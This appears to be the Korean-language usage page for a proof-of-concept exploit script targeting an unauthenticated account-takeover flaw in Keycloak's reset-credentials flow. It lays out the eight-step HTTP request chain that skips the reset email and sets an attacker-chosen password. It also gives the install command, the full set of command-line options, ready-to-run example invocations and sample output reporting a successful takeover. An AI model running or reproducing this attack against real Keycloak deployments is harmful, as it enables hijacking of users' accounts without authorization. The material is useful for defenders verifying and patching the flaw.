1. GET  /realms/{realm}/protocol/openid-connect/auth
         → OIDC 세션 수립, forgot-password 링크 추출

2. GET  /login-actions/reset-credentials?...
         → reset-credentials 폼 로드

3. POST tryAnotherWay=on
         → AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 노트 설정 (버그 1)

4. POST username={target}  →  선택기 폼
         → 대상 사용자를 인증 세션에 바인딩, 이메일 단계 트리거

5. GET  /login-actions/restart?...
         → 선택 사항: 브라우저 세션 폴링 미러링

6. GET  /login-actions/reset-credentials?...  (2단계와 동일한 URL)
         → 오래된 선택기 노트가 여전히 존재 → 자격 증명 선택기 다시 표시

7. POST username={target}  →  오래된 선택기
         → ResetCredentialEmail이 노트를 확인하고 context.success() 호출 (버그 2)
         → 흐름이 UPDATE_PASSWORD로 직접 진행 — 이메일 전송 없음

8. POST password-new={attacker_password}
         → 계정 탈취 완료

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              Keycloak 기본 URL (필수)
--realm            대상 영역 (기본값: master)
--username         탈취할 계정의 사용자 이름 또는 이메일 (필수)
--new-password     대상 계정에 설정할 비밀번호 (필수)
--client-id        OIDC 클라이언트 ID (기본값: account)
--auth-prefix      auto | new | old
                     auto = 자동 감지 (기본값)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      전체 HTTP 추적 출력
--skip-version-check

# 이전/신규 Keycloak URL 접두사 자동 감지
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# 레거시 /auth/ 접두사 강제 사용 (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# 상세 HTTP 추적
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  Keycloak 인증되지 않은 계정 탈취
  사용자   : [email protected]

[단계 0] 버전 및 경로 접두사 감지
[+] 경로 접두사: '/auth'  →  감지됨
[?] 버전이 감지되지 않음 — 계속 진행합니다.

  대상 : https://sso.example.com/auth/realms/myrealm

[단계 1] OIDC forgot-password 링크를 통해 reset-credentials 폼 열기
[+] OIDC 세션 수립됨
[+] Reset-credentials 폼 로드됨

[단계 2] POST tryAnotherWay=on  →  선택기 노트 설정 (버그 1)
[+] 자격 증명 선택기 폼 수신됨

[단계 3] POST username='[email protected]'  →  사용자 바인딩, 이메일 단계 트리거
[+] 이메일 단계 트리거됨 — 세션 폴링 URL 발견됨

[단계 4] GET 세션 폴링 경로 (선택 사항)

[단계 5] forgot-password URL 재방문  →  오래된 선택기 획득
[+] 오래된 자격 증명 선택기 폼 수신됨

[단계 6] 오래된 선택기에 POST username  →  우회 트리거 (버그 2)
[+] 우회 성공 — update-password 폼 수신됨

[단계 7] 새 비밀번호 설정

============================================================
  [+] 성공 — 계정 탈취 완료
  [+] 대상   : https://sso.example.com/auth/realms/myrealm
  [+] 사용자     : [email protected]
  [+] 비밀번호 : Pwn3d2026!
============================================================